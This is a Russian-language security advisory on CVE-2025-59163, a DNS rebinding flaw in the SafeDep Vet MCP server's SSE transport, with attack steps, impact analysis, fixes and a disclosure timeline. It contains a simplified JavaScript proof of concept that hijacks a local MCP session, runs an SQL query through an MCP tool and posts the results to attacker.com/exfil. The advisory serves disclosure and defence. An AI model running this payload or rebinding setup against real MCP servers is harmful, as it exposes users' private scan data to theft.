Автор: Evan Harris
Риск: Низкий (CVSS 2.1/10)
Затронутый компонент: SafeDep Vet MCP Server
Идентификатор CVE: CVE-2025-59163
Затронутые версии: < v1.12.5
Исправленные версии: v1.12.5

Обзор

Сервер SafeDep Vet MCP уязвим к атакам DNS rebinding при работе с транспортом SSE. Причиной уязвимости является отсутствие проверки HTTP-заголовков Host и Origin, из-за чего вредоносные сайты могут обходить защиту политики одного источника (Same-Origin Policy) и выполнять несанкционированные вызовы инструментов против экземпляров Vet MCP.

После успешного проведения DNS rebinding злоумышленник может установить сессию с эндпоинтом /sse, вызвать включённые инструменты MCP и извлечь содержимое пользовательской базы данных Vet SQLite на подконтрольный ему сервер.

Команда SafeDep оперативно отреагировала на это раскрытие и в течение нескольких дней выпустила исправленную версию (v1.12.5), которая реализует проверку заголовков Host и Origin по списку разрешённых значений (allow list).

Технические детали

Уязвимость

Когда сервер Vet MCP работает с транспортом SSE (--server-type sse), он предоставляет HTTP-эндпоинт, принимающий соединения из любого источника. На сервере отсутствует проверка следующих заголовков:

  • HTTP-заголовок Host - допускает запросы, выдающие себя за любой домен
  • HTTP-заголовок Origin - разрешает межсайтовые запросы с вредоносных сайтов

Отсутствие этой проверки открывает возможность для атак DNS rebinding, в ходе которых:

  1. Злоумышленник контролирует домен с DNS-записями, имеющими очень низкий TTL
  2. Жертва посещает сайт злоумышленника (например, attacker.com)
  3. JavaScript злоумышленника изначально разрешается в IP-адрес злоумышленника
  4. После того как браузер жертвы кэширует соединение, DNS-запись меняется на 127.0.0.1
  5. Последующие запросы с attacker.com теперь направляются на localhost жертвы
  6. Политика одного источника в браузере обходится, поскольку источником по-прежнему остаётся attacker.com

Уязвимая конфигурация

Атака требует выполнения следующих условий:

  • Выполнено сканирование Vet, и отчёты записываются в базу данных
  • Сервер Vet MCP запущен с включённым транспортом SSE
  • Злоумышленник заманивает жертву на подконтрольный ему сайт

Вектор атаки

Злоумышленник использует DNS rebinding, чтобы:

  1. Установить соединение с http://127.0.0.1:9988/sse
  2. Получить действительный идентификатор сессии MCP
  3. Инициализировать сессию MCP
  4. Вызвать инструмент vet_query_execute_sql_query с произвольными READ-запросами SQL
  5. Получить ответы через поток SSE
  6. Извлечь данные на подконтрольный злоумышленнику сервер

Сценарий атаки

Подготовка на стороне жертвы

Исследователь безопасности или разработчик:

  1. Устанавливает Vet для сканирования зависимостей на наличие уязвимостей
  2. Запускает сканирование: vet scan -D /path/to/project
  3. Запускает сервер MCP с транспортом SSE:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. По умолчанию сервер привязывается к 127.0.0.1:9988

Эксплуатация злоумышленником

Злоумышленник подготавливает инфраструктуру для DNS rebinding:

  1. Настраивает DNS-сервер с wildcard-записями для домена (например, rebinder.attacker.com)
  2. Конфигурирует DNS-сервер так, чтобы он сначала возвращал IP-адрес злоумышленника, а затем переключался на 127.0.0.1
  3. Размещает вредоносный сайт с JavaScript, который:
    • Определяет, когда DNS rebinding проходит успешно
    • Подключается к SSE-эндпоинту Vet по адресу http://127.0.0.1:9988/sse
    • Устанавливает сессию MCP
    • Выполняет SQL-запросы к базе данных жертвы
    • Извлекает результаты

Ход эксплуатации

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Жертве достаточно лишь посетить сайт злоумышленника (например, по ссылке в фишинговом письме, через скомпрометированное рекламное объявление или вредоносный GitHub Issue), пока запущен её сервер Vet MCP.

Оценка воздействия

Нарушение конфиденциальности

Основное воздействие:

  • Полный READ-доступ к базе данных сканирования Vet SQLite через инструмент vet_query_execute_sql_query
  • Раскрытие информации об уязвимостях пакетов, включая:
    • Используемые имена пакетов и их версии
    • Известные CVE, затрагивающие зависимости жертвы
    • Оценки серьёзности и детали уязвимостей
    • Разведданные о цепочке поставок программного обеспечения

Усиление рисков:

  • Злоумышленники получают сведения об уязвимых пакетах в окружении жертвы
  • Зависимости и версии пакетов раскрывают детали используемого технологического стека
  • Эта информация может быть использована для создания целенаправленных эксплойтов

Требования для проведения атаки

Факторы, ограничивающие возможность эксплуатации:

  • Требуется активное взаимодействие пользователя: жертва должна посетить вредоносный сайт
  • Временное окно: сервер Vet MCP должен быть активно запущен с транспортом SSE
  • Требование к конфигурации: жертва должна явно запустить сервер с флагом --server-type sse (а не с транспортом stdio, который используется по умолчанию)
  • Работа через браузер: для атаки требуется современный браузер с поддержкой EventSource

Эти факторы обуславливают низкую оценку серьёзности (CVSS 2.1/10), несмотря на возможность извлечения данных.

Рекомендуемые меры по устранению

Для пользователей (немедленно)

  1. Обновитесь до версии v1.12.5 или новее:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Используйте транспорт stdio (по умолчанию):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Сетевая изоляция:
    • Запускайте сервер MCP только в доверенных сетях
    • Используйте правила межсетевого экрана для ограничения доступа к порту 9988
    • Избегайте посещения недоверенных сайтов, пока сервер запущен

Для разработчиков

Реализовано в v1.12.5:

  • Проверка заголовка Host по списку разрешённых значений (allow list)
  • Проверка заголовка Origin для предотвращения межсайтовых запросов
  • Отклонение запросов с недействительными или отсутствующими заголовками безопасности

Рекомендуемые практики для реализаций серверов MCP:

  • Всегда проверяйте заголовки Host и Origin для транспортов на базе HTTP
  • По умолчанию привязывайтесь только к localhost (127.0.0.1), а не к 0.0.0.0
  • По возможности предпочитайте транспорт stdio сетевым транспортам
  • Документируйте последствия для безопасности разных режимов транспорта
  • Реализуйте строгие политики CORS

Хронология раскрытия

  • 2025-08-30: Первоначальный отчёт об уязвимости направлен в SafeDep
  • 2025-09-01: SafeDep подтверждает получение отчёта
  • 2025-09-02: SafeDep создаёт pull request с патчем, реализующим проверку заголовков
  • 2025-09-05: Выпущена исправленная версия v1.12.5
  • 2025-09-29: Опубликован GitHub Security Advisory, согласованная дата раскрытия подтверждена обеими сторонами
  • 2025-10-06: Опубликован технический бюллетень безопасности

Заключение

Уязвимость DNS rebinding в сервере Vet MCP демонстрирует важный аспект безопасности для реализаций MCP: сетевые транспорты требуют тщательной проверки HTTP-заголовков безопасности для предотвращения межсайтовых атак.

Хотя атака требует определённых условий (активный сервер MCP с транспортом SSE, посещение жертвой вредоносного сайта, наличие временного окна), возможность извлечения данных оправдала ответственное раскрытие и выпуск патча.

Реакция SafeDep служит образцом ответственных практик в области безопасности:

  • Немедленное подтверждение получения отчёта
  • Оперативная разработка и выпуск патча (5 дней от сообщения до релиза)
  • Скоординированное раскрытие через GitHub Security Advisory
  • Чёткая коммуникация на протяжении всего процесса

Всем пользователям, запускающим сервер Vet MCP с транспортом SSE, следует немедленно обновиться до версии v1.12.5. Для большинства сценариев использования транспорт stdio, применяемый по умолчанию, представляет собой более безопасную альтернативу.

Источники